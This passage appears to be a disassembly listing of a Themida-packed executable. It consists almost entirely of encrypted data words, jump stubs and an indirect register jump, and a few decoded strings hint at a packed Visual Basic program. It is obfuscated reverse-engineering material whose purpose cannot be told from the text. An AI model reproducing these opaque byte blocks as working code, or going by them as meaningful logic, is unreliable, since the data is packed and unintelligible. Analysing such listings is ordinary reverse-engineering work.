0B9AAECBDh dd 0E9CCCA3Ah, 0FDC18D40h, 0CFE050B1h, 0FF8054EFh, 0A4751A92h dd 0BAB6BD1h, 49AE03DBh, 982B31D9h, 16A236FCh, 9A0F361Fh dd 0E34F5AAEh, 90869707h, 0E5B020A3h, 397DED4Eh, 6AE195BAh dd 31824417h, 0E8961D1h, 5BCB289Fh, 0F7CE90BAh, 1780E5D2h dd 0FB68899h, 1780E5CAh, 90AE0B1h, 2E9E1EAAh, 9C1C1501h dd 697EC434h, 250A31BBh, 27971819h, 3BEAC943h, 0CD795E94h dd 33E7E072h, 9C1F0CFEh, 0D705492Ch, 80FC256Ch, 54DBC817h dd 0F2DDB2E4h, 28981B18h, 0A86EEh, 6FC40000h, 0A19E9808h dd 4B2F51C9h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh dd 0E0895078h, 430FBD55h, 0CD8136C5h, 515204E9h, 8108E5C1h dd 83482BC5h, 0F0E5814Dh, 8114CD35h, 0C9351CEDh, 5DE80104h dd 8704E883h, 685C2404h, 1D90h, 52240C89h, 0C281E289h dd 4, 4EA81h, 14870000h, 1C895C24h, 44B26824h, 0C8B061Bh dd 4C48324h, 241C8B54h, 4C481h, 0EC830000h, 240C8904h dd 0FF08438Fh, 835B2434h, 0C8B04C4h, 0E0895024h, 405h dd 40500h, 4870000h, 1FE95C24h, 93FFFA34h db 44h ; --------------------------------------------------------------------------- loc_5DE465: ; CODE XREF: Themida_:005DDEDCj mov eax, 61B49AAh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 2C5Ah dd 0C3C465E3h, 9D9845F9h, 727356D4h, 7CCE57CDh, 37D44544h dd 5F6A7CD7h, 62555C35h, 1D0521B2h, 0EFC704B0h, 8CA22FD0h dd 0EE3121C5h, 3B17278Ah, 0C124A33h, 5778589Bh, 9332698Fh dd 58D71DE5h, 0D530D4Dh, 0A1F30345h, 0DBE92EF5h, 396D7547h dd 9BFB7F01h, 0FCB61446h, 5EC539F6h, 0DCB45647h, 61B46DD7h dd 13E826F1h, 0E3000000h, 34164AF0h, 2285473Ch, 0DF317A8h dd 200594C8h, 0CE81D88Dh, 60698E10h, 99DC8059h, 647AC181h dd 0C8800000h, 81D22B32h, 0C0E58EF0h, 113C8B45h, 0E1D04BBEh dd 34C78142h, 0E8126CACh, 9, 0ED60E2Bh, 891D649Bh, 28E0F5Ah dd 51000000h, 0C781585Bh, 20B6A0F5h, 84D08166h, 0ECC781B2h dd 607E2914h, 0E8C3B70Fh, 0Ah, 9F9BB7D5h, 108B9368h, 0BB66F4FDh dd 615F772Dh, 0F113C89h, 1B85h, 14E95600h, 47000000h, 23803EBEh dd 361C89B7h, 0B882B891h, 908A751Dh, 5B194A15h, 5B525656h dd 0EA835E5Bh, 0E6816604h, 0FA81D8A4h, 0FFFF9C40h, 0FF73850Fh dd 8B66FFFFh, 0CE8C1h, 0CDC00000h, 0BDFDBB11h, 28764DA6h dd 0EE9FED9h, 1F000000h, 0C6C5F8A9h, 3DE431D1h, 213E4135h dd 14E95BBCh, 94000000h, 961A2E02h, 0B80B6ACAh, 0DC5A87ECh dd 0CFF2D273h, 816EA5D4h, 59C3C3h, 33D48A00h, 1834FFC0h dd 8F0Fh, 81590000h, 26BCD9E9h, 0AE921h, 0D3630000h, 0CBB35CCCh dd 86BD9D59h, 5672F181h, 0F181485Bh, 1DD55A15h, 512CDA80h dd 4810Fh, 0BF660000h, 48F4581h, 12E903h, 7A460000h, 0A36E7519h dd 33712E7Bh, 0FC4DFF8h, 0C35979A0h, 4F03E881h, 0BF0F0208h dd 0FFC081FBh, 6602084Eh, 0F8C1C681h, 0A6F4F881h, 850FFFFFh dd 0FFFFFF8Dh, 0E9B7B9BAh, 17AE944h, 0F16A0000h, 60DD6869h dd 3A437C83h, 755F6D5Ch, 6361706Eh, 72656Bh, 6B636170h dd 652E6465h, 6578h, 3Ah dup(0) dd 43330000h, 6F6E6E61h, 69662074h, 2720646Eh, 2E277325h dd 656C5020h, 2C657361h, 2D657220h, 74736E69h, 206C6C61h dd 73696874h, 70706120h, 6163696Ch, 6E6F6974h, 75685400h dd 4D54526Eh, 6E6961h, 62765F5Fh, 72615661h, 4E747354h dd 65h, 7 dup(0) ; --------------------------------------------------------------------------- jmp loc_5E045A ; --------------------------------------------------------------------------- push 61B4F81h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5080h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5191h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5264h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B52A3h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B535Bh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B53BFh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5427h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5C15h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5C87h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5D2Eh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5E4Dh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5EC7h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B5F7Bh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B602Bh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B60B5h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B670Bh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B6823h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B68B4h jmp loc_581882 ; --------------------------------------------------------------------------- align 4 dd 2FC636h, 0AF841181h, 0E837DE4Eh, 0A67D1888h, 6A41D444h dd 9C0C6E21h, 55C52AF9h, 0A11173C0h, 6CDC5FD4h, 0B5103E89h dd 169DBC6Ch, 4FAE8E0Fh, 0F293B68Dh, 4DF81086h, 1086F204h dd 596AD6E7h, 930380B1h, 0BD2D8EA3h, 0FE2ED2D8h, 0FB2D65E0h dd 0A7B0169Bh, 0C2612EC2h, 0C8CEE164h, 9372206Dh, 0AA07CD16h dd 0C6DBDB4Bh, 0CFC0F666h, 208F0AE0h, 0BD9DC429h, 2F4C9Dh dd 0AB600000h, 0AE03DB0Bh, 0CAD7DF4Fh, 0D9DAF565h, 0D1AEE858h dd 90A02339h, 0AD169BF5h, 0F21B9A9Ch, 7B1693F1h, 1DA0A914h dd 0A39DBD1Dh, 0C0h, 0E1624F77h, 0B3D66D71h, 3A1086F2h dd 33908169h, 5CDED3C3h, 60E1D2ECh, 321C1AF0h, 24128201h dd 1B8BE82Bh, 0CB48221Bh, 0A5BEF868h, 823FD646h, 1086F617h dd 0BEA5AD9h, 0EF279714h, 0B985B589h, 9C01460Ah, 7F162716h dd 87578737h, 8B8473BCh, 1D21F210h, 2393F23Fh, 0F868CA47h dd 34A4061Dh, 0BED06469h, 117183B1h, 19E9h, 3CD949A5h dd 831282E7h, 14E151ACh, 4C29991Fh, 12E353D7h, 179B1695h dd 0DE61CEA7h, 1C98876Eh, 0D95AC9ACh, 133B8C69h, 9DBD69B0h dd 0E9531416h, 747D864Fh, 0A009053Ch, 81E949CAh, 61E410DEh dd 1086EE38h, 6AE5F2C3h, 9808659Ah, 26FD98B7h, 7CC055C5h dd 3DB0BABh, 9BF5F040h, 7ABC8D16h, 93F1D2FBh, 0C9F49B16h dd 0BD1CFD80h, 15949D9Dh, 0EE9C71A5h, 0DB4Eh, 0CA4B8C00h dd 2FEAE109h, 24B96109h, 525F57C7h, 2F9680F0h, 1086F6A2h dd 47B73A77h, 950566A3h, 990968C9h, 0A6B8A2F1h, 86F7FA1Fh dd 19948110h, 27E486A9h, 4CBC38C4h, 0F1C53363h, 0FDDFFDC1h dd 86F70346h, 31D9EA10h, 9C00CE92h, 16ADAF16h, 1693EAF3h dd 0EF86A97Ah, 71E1466Bh, 0F8A24845h, 7F461848h, 108B81D3h dd 1B340F48h, 0EFFED0D3h, 0B48A9BFBh, 0EA8BFB7Fh, 0B845B535h dd 0B1BE949Dh, 0EABC383Eh, 0A4000018h, 0E43BDA4Ah, 0B3801585h dd 1C13E252h, 0DA492C9Ch, 8E0DE858h, 0B020A21Dh, 79E94EE5h dd 0B525879Ch, 80F053E0h, 49FCE2F5h, 169DA200h, 24122AEBh dd 0BBDE65C6h, 421086F2h, 68B75E71h, 50FA9B0Bh, 4571E163h dd 0F2A5EC57h, 77481086h, 68D85B58h, 81B9512Eh, 5F57C724h dd 3590F152h, 1086F2ECh, 491BE8Fh, 0CD202B6h, 9BF69539h dd 77475816h, 0F6BBDE65h, 71421693h, 0F5189B99h, 821693F6h dd 0E94AA817h, 251A1C8Ch, 21E34645h, 0CB699DBDh, 3D000000h dd 0E3935EB2h, 0A4B1ABB3h, 0C3335FB2h, 7776A1Bh, 6FE25656h dd 17FBAA40h, 56169B30h, 0F50AB945h, 6EE3344Fh, 9AC49ACAh dd 0FCAE1699h, 9DD14D06h, 0FAD3C3ECh, 0B319B510h, 0A4BACC2Ch dd 4323F821h, 0D8B283F0h, 59DFD7E8h, 736975A5h, 432389D0h dd 0C7A374F0h, 0B553CE75h, 192AF65Ah, 1C8CEC45h, 68CBE86Eh dd 0F251CB00h, 103FC866h, 0DD4DAE85h, 0C9F9F40h, 4EB6C0D7h dd 17D9h, 2CC939B5h, 730272F7h, 44D141BCh, 7C1989EFh, 42D343A7h dd 76B2665h, 0CE31FE97h, 0C68B75Eh, 0C92AF99Ch, 430BBC59h dd 9DA35980h, 0D9632416h, 5F57C724h, 410425D9h, 1086F218h dd 0E1FDD2E3h, 690171D0h, 0F6AC70D3h, 4051169Bh, 5EB287B5h dd 7B9E2537h, 21086F2h, 12820231h, 593F2B24h, 0DA6975A5h dd 169BFB76h, 0AF1F9C95h, 0C4F49667h, 6F982BF3h, 0E891BAE7h dd 6FD6E818h, 9BA21F5Fh, 0EBF1CDDEh, 0D5DF3158h, 6BCFBC83h dd 0EDC2BBFBh, 0D5A90FFDh, 360F9CADh, 0D5E54A8Fh, 57603183h dd 0F8D74CC0h, 0FE6ECDE6h, 8E7B4A0Ch, 6B85CC1Ch, 4571E146h dd 35FEA248h, 0C586D427h, 0EBF3DC5Bh, 20F565C6h, 0BD40B013h dd 24803116h, 6CB274Dh, 88000017h, 48D7BE2Eh, 879C79E9h dd 50DFB626h, 3EF580F0h, 0F2A94CBCh, 34A406B9h, 0FD6DD261h dd 39A90B18h, 0F464C75Ch, 1DA8B621h, 169DA0F4h, 2446F677h dd 1DC657C7h, 4ABDEB94h, 16C7C82Ch, 67C70000h, 0B0111EF7h dd 0FF7EB540h, 0B739E68Fh, 181AE47h, 0E4A70491h, 3CD949A9h dd 851080E7h, 37DE4EAEh, 7A1B8BE8h, 9BBE8549h, 62169DA0h dd 0C7249BA1h, 25D95F57h, 0CA5AE9F5h, 0E9169C0Eh, 0FFB6BC8h dd 0B6F79EAFh, 0EA0D4A6Bh, 18897995h, 3B9EA224h, 39651Ch dd 6090306Ah, 0BD63E75Eh, 390A108Eh, 0FA895E65h, 85AEA105h dd 6E83B323h, 0A4999D0Dh, 5B9DF8Bh, 623A09D5h, 0E3BE4F12h dd 0A256E4D2h, 68D96C72h, 0F3B87754h, 0F1421C22h, 0BF6C1E8Eh dd 2168DB3Ch, 63A58651h, 34CE092Fh, 4253CD0Dh, 387EEE51h dd 968D6847h, 15D8A515h, 4608EB5Ch, 160FD430h, 0FF7F0000h dd 0B839E68Fh, 0F776AD48h, 0BF41EE87h, 0F979A64Fh, 0FCAFEC89h dd 44D141C1h, 7D1888EFh, 3FD646A6h, 522393F0h, 0A3E65D81h dd 4A169DA1h, 93B673C9h, 5F1086F2h, 1087023Eh, 87129BC2h dd 0D23E5F10h, 7A5B1086h, 843F5071h, 1086AE5Dh, 77280F20h dd 0EF1CCE14h, 0B8811C8Ch, 0A7BDEAE2h, 15AB258Dh, 63E30000h dd 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh, 6DCD6233h, 88318FDh dd 0D0A51595h, 896CDC63h, 0CBAA1A9Ah, 8E67D754h, 67AA1945h dd 6169DA1h, 624FB785h, 0D66D71E1h, 1086F2B3h, 1781693Ah dd 2A9A1B67h, 39233905h, 86F2478Ah, 0BF1D2610h, 34D72EDCh dd 0FAA9416Eh, 169CA0AEh, 34FF9EAFh, 2FB7D5B2h, 1543BD45h dd 0EB4B0000h, 24859A7Bh, 0F352E1B4h, 0BB3DF283h, 0F575AA4Bh dd 0F0BBF085h, 28CD3DBDh, 710474FBh, 43D242C2h, 761F8FECh dd 9FC2814Dh, 5E169DA6h, 624F9F9Dh, 9A9773E3h, 746DA919h dd 0AC8F87F7h, 42A7A20Dh, 0CA97A81Eh, 26h, 0F297B6DEh dd 6AC91086h, 0AAE959DEh, 1BFAD545h, 0E277F496h, 1D3A0410h dd 5CC86025h, 938169D4h, 14D42Fh, 8D4F0B00h, 86F293B6h dd 44DF810h, 0E71086F2h, 0B1596AD6h, 0A3930380h, 2D316115h dd 9C0B3A96h, 6C724316h, 0EB8ED372h, 406D1693h, 696650C0h dd 85C9A446h, 0EBA5EC57h, 77481693h, 0D591D93h, 4E103FAFh dd 82E54E10h, 7A2B2412h, 1693EB57h, 68B11416h, 131693EBh dd 5E3D2D02h, 108EEEBEh, 3B286E3Fh, 6AB4ABAh, 1CACECC6h dd 4E27971Ah, 44FF60E1h, 1CACEC1Dh, 0B6E0CFE0h, 0CACC3CBDh dd 7057862Fh, 0BF9DA111h, 0ACECDD04h, 42873E1Ch, 291CACECh dd 0F397A818h, 38A00D98h, 0F142A3D2h, 0AF6C2C94h, 4065E5C1h dd 59C9246Fh, 9A8A605Dh, 2E9h, 0AE1EA390h, 624F58BCh, 38296DDDh dd 88624DBDh, 203E6E12h, 9C1F7DA5h, 0E72F0016h, 6E0777FAh dd 0F8D840C1h, 144CF577h, 3D764867h, 62D233BFh, 0AD6F9D4Dh dd 20038DA8h, 836733CEh, 9253F518h, 82AF7F16h, 0B7888EFEh dd 0A690007Ch, 0E7D6C1A9h, 24F161E0h, 0B4FA1D3Ah, 0A41D0169h dd 0FC2CCCC6h, 227F63E2h, 3CFE1089h, 0ACC24089h, 9A292B1Ch dd 1CACC277h, 2D0A25F6h, 0D9E4F541h, 0BBFBD4FAh, 41D444A6h dd 0F62090F2h, 0ACF1488Fh, 5C83361Ch, 0D4FDC896h, 971CACF1h dd 0C327E486h, 44F4C253h, 87E94A14h, 13361F17h, 1B42B255h dd 53F2CCE3h, 1CAC540Eh, 282EDCEDh, 0B154119Dh, 1303141Ah dd 20590C49h, 18BA8DECh, 0D242C172h, 1F8FEC43h, 31759C17h dd 46B02B9h, 3191A294h, 0C970D5C1h, 0AF5ACD16h, 59ECF200h dd 2B93130h, 585ECE2Eh, 2E8B967h, 674AB211h, 227186B8h dd 1686EB28h, 75002F20h, 0F3CB3BBEh, 671B46E2h, 0A2BCAE25h dd 0B949FE23h, 0BEAC7D02h, 6EDE6350h, 8FCD9128h, 0B949ED34h dd 0CBBF9002h, 6BCEF9E4h, 22871AFBh, 0C4A9E7D5h, 8565E693h dd 0F5955A1Eh, 0A745h, 0C6246100h, 0C72B8856h, 7C6E5F57h dd 3392CC92h, 1086F2EEh, 0B424A08Dh, 0C8A28D82h, 3F77E74Bh dd 299E1188h, 0E9BC59C9h, 97A81E84h, 3AAA0D26h, 72F450h dd 24C80000h, 525F57C7h, 940465F1h, 0D5BC7BBBh, 0EE5EDDEAh dd 1E0F9A07h, 559597A8h, 93000000h, 0B2830BC2h, 37D35A72h dd 0B68D4F03h, 1086F293h, 0F7A1495Ah, 7C471747h, 169BF230h dd 0EC5CDED3h, 8D899AFEh, 0A31372BFh, 0D5F09A73h, 1693F288h dd 0ACEA5ADEh, 0D2C434B7h, 0A935B6FDh, 0E0DDD949h, 0BB6EC7CFh dd 0B45BCF14h, 1DBD4009h, 2439DBDh, 57000001h, 7BE3624Fh dd 65DDCACEh, 67AF80A5h, 0FABEF496h, 2151F4CAh, 0DC169BFEh dd 3EBEF3CBh, 13F7C8CEh, 1DA90819h, 13EC2A9Ah, 2A35223Ch dd 71E892Ch, 4AC811B4h, 0E2B31693h, 0E14E1DCDh, 0ADC6F060h dd 1FDADC4Ch, 5F82411Bh, 1E16934Bh, 8B325D0Dh, 714DBD3Ch dd 0A8560564h, 64C44445h, 0E2CDC2F4h, 0B5386D08h, 3B9DBD6Ah dd 85h, 0EB0CAB4Fh, 0F20F52F1h, 0DDEE1086h, 86F22168h dd 0D4FBCC10h, 5DDFD40Ah, 0AD4A9EDh, 86F2163Bh, 26C4D510h dd 86F27277h, 0EE28F990h, 86F34687h, 0D4FBAA90h, 2595151Eh dd 84AC4B45h, 251B969Ah, 23A2BC2Dh, 9086EAFEh, 0BB83AC7Dh dd 0E486F676h, 0EA8EF352h, 1C2D1086h, 93171C42h, 0AB1AF323h dd 1086EA66h, 37563405h, 577A4913h, 891086EAh, 3304BC2Ch dd 1B6B57h, 50610000h, 960665F1h, 0EA807DB9h, 6BB532h dd 0BEF30000h, 0D9CACC3Ch, 24C6E959h, 59C924F0h, 0C3426F5Dh dd 0CA796353h, 1086F287h, 907A5566h, 0C7AE1EA3h, 5BCB2E83h dd 9EFF82AFh, 86F2E227h, 97B88910h, 249FBD9Fh, 1086F2FDh dd 0F262A71Eh, 38091086h, 0DDD3B788h, 4DA8EE1Eh, 1086F203h dd 51F4EAECh, 1086F208h, 514822F3h, 1A7EEB5Eh, 132097A8h dd 79A941B1h, 0B3Fh, 0DD624F8Dh, 0B654296Dh, 72F541FCh dd 143B1402h, 900A0D4Ah, 0FF3E6499h, 0E4A2210Bh, 7F9A3221h dd 19A4A518h, 9F215359h, 62h, 0A818949Dh, 22C2838Fh, 0AC5E65C7h dd 0E010AB88h, 1C4500DEh, 0DF1086F2h, 0AB1A1CCEh, 1086F266h dd 83023405h, 0B9FABFB0h, 3363D332h, 4D49B93Eh, 7DC03AAh dd 97C491A3h, 0E572163Ah, 36A99713h, 5A7573DCh, 1CD609B0h dd 1A79933Bh, 0DBFCBB65h, 0A35AAB53h, 0EDA842E3h, 411B2880h dd 21108h, 10AB2400h, 6E52BCE0h, 0DF66C724h, 1086F2BAh dd 7F5F7041h, 69D9545Dh, 86F295BCh, 0A3475810h, 0A6AB8F6Fh dd 68A82673h, 2DB9h, 10ABCD00h, 4500DEE0h, 1086F21Ch, 0ED47CC76h dd 0E858D84Dh, 4FFF33D7h, 86F2A8F4h, 407C4D10h, 0C9246B4Fh dd 72566359h, 1FB5h, 10ABD100h, 0F44FBCE0h, 1086F2A8h dd 4FCAF2DBh, 311488Dh, 0C46859BCh, 0C924EE26h, 72566359h dd 285328B6h, 56C6240Fh, 54C42B88h, 3E73D7B6h, 74494DBDh dd 0A6169596h, 5ECE2C9Bh, 7C62E483h, 279080C9h, 0B05A6BEEh dd 92F1D609h, 0FF37A706h, 311E8EF2h, 50B3801Eh, 5080E1E0h dd 4C3EABDh, 0F56737A7h, 90355CE7h, 0E7B8EE27h, 35A50603h dd 39A90829h, 0D76A00FDh, 4C908AE8h, 31EE2790h, 0D7C26160h dd 0EC5CDFE8h, 31A12112h, 0B36D7A05h, 76F4D3FAh, 43C06F06h dd 61004ADBh, 614E5157h, 0AE0F7360h, 7FB72785h, 9CE3269Dh dd 0B98AEE27h, 85C9F496h, 68EE279Ch, 9F168A57h, 1171C230h dd 637D96A1h, 1FBF861Ch, 0CD3DBE6Bh, 13830031h, 44A66F4Eh dd 253E78E8h, 525E58C8h, 57EE04ABh, 0EE27B832h, 0F1C7E8B9h dd 0B734933Ah, 99D90A4Fh, 183768ACh, 0DE4EAD86h, 91F23F03h dd 6AC84921h, 648E7FAh, 0EA5ADBD8h, 2786163Bh, 26C4D5EEh dd 83446Bh, 0D8BB5598h, 8DA2F703h, 0C72449F1h, 90526557h dd 2A818BC7h, 246F65D6h, 6C6155C5h, 0CAB967Eh, 0F23158EBh dd 0EBBC1086h, 0AB8FD8C4h, 0A82673A6h, 3EB968h, 0ABCD0000h dd 4FE0DC0Ch, 86F2A8F4h, 627C4D10h, 7F835C75h, 0C4A609FFh dd 0AA864F50h, 9F070BADh, 526AEC9Eh, 4F64C524h, 87CA7BEBh dd 661086F2h, 56427A55h, 0DD624F72h, 271D7D6Dh, 0F9000000h dd 0E0DC0CABh, 0F2A8F44Fh, 0F2DB1086h, 246B4FCAh, 566755C5h dd 8C189F94h, 857ABC2Ch, 5FD8DAAh, 0A8C20D90h, 0F8B65AC2h dd 10108703h, 0FFFD64B4h, 97B688FFh, 501086F2h, 6EF085B5h dd 0A6CFE369h, 0E505D242h, 0E92AC09Eh, 9B1A1C8Ch, 1086D576h dd 9F970768h, 0D5C13192h, 9E547B32h, 86D5E227h, 97B88910h dd 2487ACAEh, 127182B4h, 0B2DD8DA2h, 0D141BC0Bh, 0D343A40Dh dd 0F969CEE3h, 0F55934D6h, 0C8CE3EBCh, 931613F7h, 0D54E9332h dd 1C2D1086h, 0BBF86233h, 65CAC939h, 0DC9B15F5h, 8F0B6AACh dd 6152DD62h, 2C4571E1h, 0DC595DCDh, 0E545822Dh, 49F05A75h dd 0C3825C96h, 52D0899Eh, 0EF9E4C5Dh, 0D9FE998Ah, 1D612h dd 96B62600h, 511086F2h, 7B617DADh, 0C726B236h, 0B93B7857h dd 0F602A149h, 25169C1Fh, 4F3BAB0Ch, 68B75E6Fh, 88999D0Dh dd 647DB929h db 5, 95h word_5DF622 dw 17A1h ; DATA XREF: Themida_:0057ACC0o dd 0F123F67h, 0BB9C0C6Dh, 0C5EA8DBBh, 55364AF9h, 0E6B7108Eh dd 0C0DC4617h, 0AF1321B1h, 0D55h, 0A84DBD39h, 0EF86F67Bh dd 0C055C540h, 0F89D0D73h, 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh dd 90EC43D2h, 5DDE5520h, 8FBF08EDh, 9DAEED34h, 2D0F9016h dd 5F57C724h, 0E9F525D9h, 0A23FA55Ah, 70F72416h, 231383E4h dd 142A052Ah, 472E9E1Fh, 0A9ED5DD8h, 0CBCB3BB8h, 5569995Dh dd 276FDF5Ch, 23A2B456h, 10874D87h, 8DF88596h, 4EB1BB3Bh dd 0CE3CC28h, 4BAB0000h, 84E53ADBh, 53B28114h, 9B1D12E3h dd 55D54A2Bh, 109B10E5h, 0C8AD1D9Dh, 9164D45Bh, 0E3B222A2h dd 967FEF4Ch, 7FA2212Dh, 0FE169DAEh, 0C724BF7Dh, 25D95F57h dd 0E2F3E9F5h, 4A5118A8h, 2281695Fh, 169B94AAh, 66570C49h dd 262087F6h, 42155E9Ch, 0F44F26E1h, 169346ADh, 0BA507F50h dd 0D3603506h, 1888E470h, 0A8585E37h, 0AA716678h, 0B2ED1174h dd 0E95CE288h, 10B74339h, 0C6EBF3C4h, 111EF767h, 0DD824CB4h dd 670CC823h, 0D6554E48h, 0F6CA3066h, 7D4DF8C6h, 1AACBAh dd 0CDE14E2Fh, 0F8FEABA5h, 0C3C7Ch, 84F45200h, 4FBF42F1h dd 8CFC79A6h, 46B63AE9h, 920280AFh, 0ACE7A403h, 0E837DE4Eh dd 0B17E1787h, 1D12E353h, 7C472E9Eh, 0AFAEF352h, 0CC4D169Dh dd 0B68D4F70h, 1086F293h, 45FB6BCDh, 16959674h, 0ACBF98A6h dd 76F1FB84h, 0CE5CDAB0h, 61E4FA2Ah, 169BBC9Dh, 0B9660F20h dd 0E8F6C838h, 93A2345Dh, 67CAB716h, 0E1CEBFF7h, 38B56A09h dd 0ABFF2DC8h, 0AE03DB0Bh, 3D6EE24Ah, 0C2B758Fh, 4EF54723h dd 169CF1CEh, 1D989EAFh, 1690F1F0h, 9F2687E6h, 1690F17Ah dd 171F3001h, 0FF37A70Ah, 0B92A9504h, 1237A611h, 9DBE1DA7h dd 0F05C0E47h, 83EE38EDh, 0BA3BE7h, 40710000h, 84B852C2h dd 6155C524h, 9581F150h, 6AAC1C9Ch, 0C597F879h, 86F2DBFEh dd 3491A210h, 1086F2EDh, 0AE1EA390h, 97B89768h, 5E7B5CFEh dd 0A8F1541Bh, 531086D0h, 0AECA7542h, 2366DDE1h, 0CA108640h dd 0D7A711F9h, 97C597A7h, 8640E52Ch, 0D3B78810h, 9CA9CCE8h dd 26847116h, 0A08F80B6h, 0D5BB66DDh, 0FB777DB7h, 0B1Dh dd 0D0A51571h, 876EDE63h, 0C8AD1D98h, 9065D55Bh, 0C6AF1FA3h dd 83E7DAD1h, 4AAD8213h, 88E43BDAh, 45A67D18h, 0C79740D5h dd 9DACD5FCh, 65D79816h, 8955C524h, 4250A34Ch, 3093EE2Dh dd 108625E9h, 67AC8394h, 0ACA19505h, 5B11AFBEh, 25000000h dd 6155C524h, 0E7F727D7h, 355CE7F5h, 0B81086F2h, 409803E7h dd 0CD169BFAh, 0A7EF5FE0h, 0A724F9D6h, 40B7D68Dh, 0AA3CE36h dd 8BEB0000h, 44A57A1Bh, 93F241D4h, 5BDD5223h, 95150AEBh dd 505B5025h, 886DDD5Dh, 0D1A4149Bh, 0A372E262h, 0D6BF2F8Ch dd 3F62E1EDh, 0BE169DACh, 0C724FF3Dh, 0F1525F57h, 0FA69581h dd 1E44A9A0h, 9CC97A8h, 0E0000002h, 0F3C34EB2h, 0D0E1FBC3h dd 3B6A0070h, 169BFBD7h, 9B0B6996h, 6FA71798h, 0D6EDB19Eh dd 20B9350h, 0EBF323D3h, 30A18C58h, 0A20811EFh, 26FD4BDFh dd 7DEB2B04h, 0EB589B9h, 0E95ECA13h, 134CF08h, 664C4FD3h dd 3B031484h, 49B11021h, 14225E8Bh, 0C8A28D79h, 6678E84Bh dd 9680F04Dh, 6DC2D1B9h, 70FF9E0Eh, 6BB81152h, 9EFE949h dd 1F9F0000h, 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh dd 0DCCFCCA9h, 24F161E1h, 5D38A80Fh, 1FF666C6h, 0B243B310h dd 43863D21h, 2A169DADh, 864FD369h, 0B9AFD20Eh, 0A96A0065h dd 4CDED848h, 51627CACh, 56E882F2h, 0A266F1EFh, 189B8816h dd 0BE916EA8h, 0BC2C93A0h, 0C13191A2h, 8312F8D5h, 3DB4BACh dd 0E8D6C1D2h, 0E347D442h, 654A4373h, 5D218785h, 0E64B112Dh dd 49741686h, 1087C9F1h, 0C60BBA7Ch, 431CB605h, 0B6055980h dd 0AD13241Ch, 86ABB39Ch, 4FE4B121h, 50DC5CE8h, 0B89581F1h dd 657EB897h, 72079606h, 6DB1BA9Fh, 93FEB47h, 0EF4F0000h dd 2889967Fh, 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h dd 0B441B111h, 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h dd 0DA169D92h, 39942319h, 1086F218h, 73716668h, 755A5A4Fh dd 0C5F89F4Bh, 79A94D6Bh, 7CEC4C65h, 25FDC88Eh, 28169C40h dd 8BEA4717h, 0AA19431Bh, 16939D67h, 36553506h, 9EA0D070h dd 8BF9C727h, 89556610h, 0AC68194Ch, 7F6B71D2h, 87F774BDh dd 52C241EEh, 0BE58B0CBh, 41C1B3B1h, 8B5h, 8ED5DD9h, 4F26961Bh dd 20F565E0h, 583DAD13h, 1EF767CBh, 2B8F0289h, 0E245DABBh dd 308CA372h, 7DFE35C0h, 6F5F680Dh, 9D928DD4h, 8DAF7016h dd 86F297B6h, 5BEAF410h, 1086F236h, 506E4B5h, 575F36A6h dd 67D75BA7h, 6CCF7648h, 0B169C41h, 0AD0F243Ah, 69CB583Dh dd 5635BDF9h, 51000008h, 3DB0BABh, 2CDE4EAEh, 1F5F9B2Ah dd 0CDDE169Ch, 5ED203C9h, 0F8077F78h, 0A212959Eh, 0D4EF9B74h dd 16933789h, 0AEE858DFh, 0CEC838B5h, 0EE4CB52h, 93371237h dd 0E7C8D916h, 68E1CC43h, 9DBDDF05h, 1528Bh, 0C8249F00h dd 0E2455E58h, 0CC2F4472h, 7A55C540h, 55C5273Ch, 0A11173C0h dd 7370375h, 8C372537h, 1086F245h, 48731728h, 1086F259h dd 20231324h, 0B2AC4679h, 86F2CE13h, 0EE9CAD10h, 0A64FBF3Dh dd 0BC2C8FA4h, 0E831947Ah, 931086F2h, 4CBDAD82h, 0C89680F0h dd 4FF3B98Fh, 8648ADF4h, 587F5010h, 0E08AB51Bh, 863B80C5h dd 0F666C610h, 0ED4EB3C0h, 863B3356h, 0C6E9BA10h, 12370ED0h dd 0D910863Bh, 812CDDC8h, 3A774362h, 0F7A248B8h, 1C7DFFC8h dd 836D243Bh, 3FE6F2CFh, 10860C1Ah, 0DFFFD0E1h, 0B7FF6FD2h dd 614924C6h, 63D355A1h, 6B6C724Ch, 0B880F629h, 0AE0DFD46h dd 10869863h, 140D091Ah, 0DD522393h, 0B7ACEA5Ah, 0F3D2C434h dd 0CB2C9B42h, 0A652835Bh, 0CC0E473Fh, 79A6C5A5h, 2A9086F6h dd 0AD182656h, 169CCDFDh, 59C6AF80h, 0CA3066D6h, 0B933D2FAh dd 48FE59DAh, 0D75A5767h, 0AC5E2F67h, 39FA1BAAh, 0A8791693h dd 0AF1E876Eh, 4E279718h, 0A8EE5EE1h, 0E16DCDE6h, 2EDCF363h dd 0BA84B484h, 8B88F879h, 82D4B626h, 89C8C3C3h, 0BD819210h dd 0A2DD2798h, 9768AE1Eh, 0A60E0FC0h, 0F57AA9C4h, 0C143F085h dd 1D488D51h, 0C0308C90h, 263A8FF7h, 0AB032944h, 4003DB0Bh dd 169C0B50h, 91A1C2Dh, 0CF5D38A8h, 2DC0CABh, 0AE050B1h dd 91F1420Ch, 7218F521h, 86F20A53h, 913CF310h, 0A81A35B8h dd 5FDCD597h, 36BAA7EFh, 